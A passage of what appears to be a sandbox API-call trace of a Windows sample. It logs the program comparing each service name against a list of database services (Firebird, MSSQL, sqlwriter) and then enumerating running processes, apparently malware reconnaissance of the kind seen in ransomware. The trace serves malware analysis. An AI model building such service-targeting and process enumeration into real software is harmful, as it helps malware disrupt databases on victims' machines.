	[0084.107] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0084.107] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0084.107] lstrlenW (lpString="iphlpsvc") returned 8
	[0084.107] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0084.107] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0084.107] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0084.107] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0084.107] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0084.107] lstrlenW (lpString="KeyIso") returned 6
	[0084.107] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0084.107] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0084.107] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0084.107] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0084.107] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0084.107] lstrlenW (lpString="LanmanServer") returned 12
	[0084.107] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0084.107] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0084.107] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0084.107] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0084.107] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0084.107] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0084.107] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0084.107] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0084.107] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0084.107] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0084.108] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0084.108] lstrlenW (lpString="lfsvc") returned 5
	[0084.108] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0084.108] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0084.108] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0084.108] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0084.108] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0084.108] lstrlenW (lpString="lmhosts") returned 7
	[0084.108] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0084.108] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0084.108] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0084.108] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0084.108] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0084.108] lstrlenW (lpString="LSM") returned 3
	[0084.108] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0084.108] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0084.108] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0084.108] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0084.108] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0084.108] lstrlenW (lpString="MpsSvc") returned 6
	[0084.108] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0084.108] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0084.108] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0084.108] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0084.108] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0084.108] lstrlenW (lpString="NcbService") returned 10
	[0084.108] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0084.108] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0084.108] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0084.108] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0084.109] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0084.109] lstrlenW (lpString="netprofm") returned 8
	[0084.109] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0084.109] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0084.109] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0084.109] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0084.109] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0084.109] lstrlenW (lpString="NlaSvc") returned 6
	[0084.109] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0084.109] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0084.109] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0084.109] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0084.109] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0084.109] lstrlenW (lpString="nsi") returned 3
	[0084.109] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0084.109] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0084.109] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0084.109] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0084.109] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0084.109] lstrlenW (lpString="PcaSvc") returned 6
	[0084.109] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0084.109] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0084.109] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0084.109] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0084.109] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0084.109] lstrlenW (lpString="PlugPlay") returned 8
	[0084.109] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0084.109] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0084.109] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0084.109] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0084.109] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0084.110] lstrlenW (lpString="Power") returned 5
	[0084.110] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0084.110] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0084.110] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0084.110] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0084.110] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0084.110] lstrlenW (lpString="ProfSvc") returned 7
	[0084.110] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0084.110] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0084.110] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0084.110] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0084.110] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0084.110] lstrlenW (lpString="RpcEptMapper") returned 12
	[0084.110] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0084.110] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0084.110] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0084.110] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0084.110] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0084.110] lstrlenW (lpString="RpcSs") returned 5
	[0084.110] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0084.110] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0084.110] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0084.110] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0084.110] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0084.794] lstrlenW (lpString="SamSs") returned 5
	[0084.794] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0084.794] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0084.794] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0084.794] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0084.794] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0084.794] lstrlenW (lpString="Schedule") returned 8
	[0084.794] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0084.794] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0084.794] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0084.794] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0084.794] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0084.794] lstrlenW (lpString="SecurityHealthService") returned 21
	[0084.794] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0084.794] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0084.794] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0084.794] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0084.794] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0084.794] lstrlenW (lpString="SENS") returned 4
	[0084.794] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0084.794] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0084.794] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0084.794] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0084.794] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0084.794] lstrlenW (lpString="ShellHWDetection") returned 16
	[0084.795] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0084.795] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0084.795] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0084.795] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0084.795] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0084.795] lstrlenW (lpString="Spooler") returned 7
	[0084.795] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0084.795] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0084.795] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0084.795] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0084.795] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0084.795] lstrlenW (lpString="sppsvc") returned 6
	[0084.795] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1
	[0084.795] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1
	[0084.795] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1
	[0084.795] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1
	[0084.795] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1
	[0084.795] lstrlenW (lpString="SSDPSRV") returned 7
	[0084.795] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1
	[0084.795] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1
	[0084.795] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1
	[0084.795] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1
	[0084.795] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1
	[0084.795] lstrlenW (lpString="StateRepository") returned 15
	[0084.795] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0084.795] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0084.795] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0084.795] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0084.795] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0084.795] lstrlenW (lpString="SysMain") returned 7
	[0084.795] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0084.795] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0084.795] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0084.796] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0084.796] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43587b0 | out: hHeap=0x4f0000) returned 1
	[0084.796] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x34c
	[0084.812] Process32FirstW (in: hSnapshot=0x34c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0084.813] Process32NextW (in: hSnapshot=0x34c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0084.813] lstrlenW (lpString="System") returned 6
	[0084.814] Process32NextW (in: hSnapshot=0x34c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0084.814] lstrlenW (lpString="smss.exe") returned 8
	[0084.814] Process32NextW (in: hSnapshot=0x34c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0084.815] lstrlenW (lpString="csrss.exe") returned 9
	[0084.815] Process32NextW (in: hSnapshot=0x34c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0084.815] lstrlenW (lpString="wininit.exe") returned 11
	[0084.815] Process32NextW (in: hSnapshot=0x34c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0084.816] lstrlenW (lpString="csrss.exe") returned 9
	[0084.816] Process32NextW (in: hSnapshot=0x34c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0084.816] lstrlenW (lpString="winlogon.exe") returned 12
	[0084.816] Process32NextW (in: hSnapshot=0x34c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0084.817] lstrlenW (lpString="services.exe") returned 12
	[0084.817] Process32NextW (in: hSnapshot=0x34c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0084.817] lstrlenW (lpString="lsass.exe") returned 9
	[0084.817] Process32NextW (in: hSnapshot=0x34c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0084.818] lstrlenW (lpString="svchost.exe") returned 11
	[0084.818] Process32NextW (in: hSnapshot=0x34c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0084.818] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0084.818] Process32NextW (in: hSnapshot=0x34c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0084.819] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0084.819] Process32NextW (in: hSnapshot=0x34c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0084.819] lstrlenW (lpString="svchost.exe") returned 11
	[0084.819] Process32NextW (in: hSnapshot=0x34c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0084.820] lstrlenW (lpString="dwm.exe") returned 7
	[0084.820] Process32NextW (in: hSnapshot=0x34c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x59, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0084.820] lstrlenW (lpString="svchost.exe") returned 11
	[0084.821] Process32NextW (in: hSnapshot=0x34c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0084.821] lstrlenW (lpString="svchost.exe") returned 11
	[0084.821] Process32NextW (in: hSnapshot=0x34c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0084.822] lstrlenW (lpString="svchost.exe") returned 11
	[0084.822] Process32NextW (in: hSnapshot=0x34c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0084.822] lstrlenW (lpString="svchost.exe") returned 11
	[0084.822] Process32NextW (in: hSnapshot=0x34c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x29, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0084.823] lstrlenW (lpString="svchost.exe") returned 11
	[0084.823] Process32NextW (in: hSnapshot=0x34c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0084.823] lstrlenW (lpString="svchost.exe") returned 11
	[0084.823] Process32NextW (in: hSnapshot=0x34c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0084.824] lstrlenW (lpString="svchost.exe") returned 11
	[0084.824] Process32NextW (in: hSnapshot=0x34c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0084.824] lstrlenW (lpString="svchost.exe") returned 11
	[0084.824] Process32NextW (in: hSnapshot=0x34c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0084.825] lstrlenW (lpString="svchost.exe") returned 11
	[0084.825] Process32NextW (in: hSnapshot=0x34c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0084.825] lstrlenW (lpString="spoolsv.exe") returned 11
	[0084.825] Process32NextW (in: hSnapshot=0x34c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0084.826] lstrlenW (lpString="svchost.exe") returned 11
	[0084.826] Process32NextW (in: hSnapshot=0x34c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0084.826] lstrlenW (lpString="svchost.exe") returned 11
	[0084.826] Process32NextW (in: hSnapshot=0x34c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0084.827] lstrlenW (lpString="audiodg.exe") returned 11
	[0084.827] Process32NextW (in: hSnapshot=0x34c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0084.827] lstrlenW (lpString="sihost.exe") returned 10
	[0084.827] Process32NextW (in: hSnapshot=0x34c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0084.828] lstrlenW (lpString="svchost.exe") returned 11
	[0084.828] Process32NextW (in: hSnapshot=0x34c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0084.828] lstrlenW (lpString="taskhostw.exe") returned 13
	[0084.828] Process32NextW (in: hSnapshot=0x34c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0084.829] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0084.829] Process32NextW (in: hSnapshot=0x34c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0084.830] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0084.830] Process32NextW (in: hSnapshot=0x34c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x41, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0084.830] lstrlenW (lpString="explorer.exe") returned 12
	[0084.830] Process32NextW (in: hSnapshot=0x34c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0084.831] lstrlenW (lpString="Memory Compression") returned 18
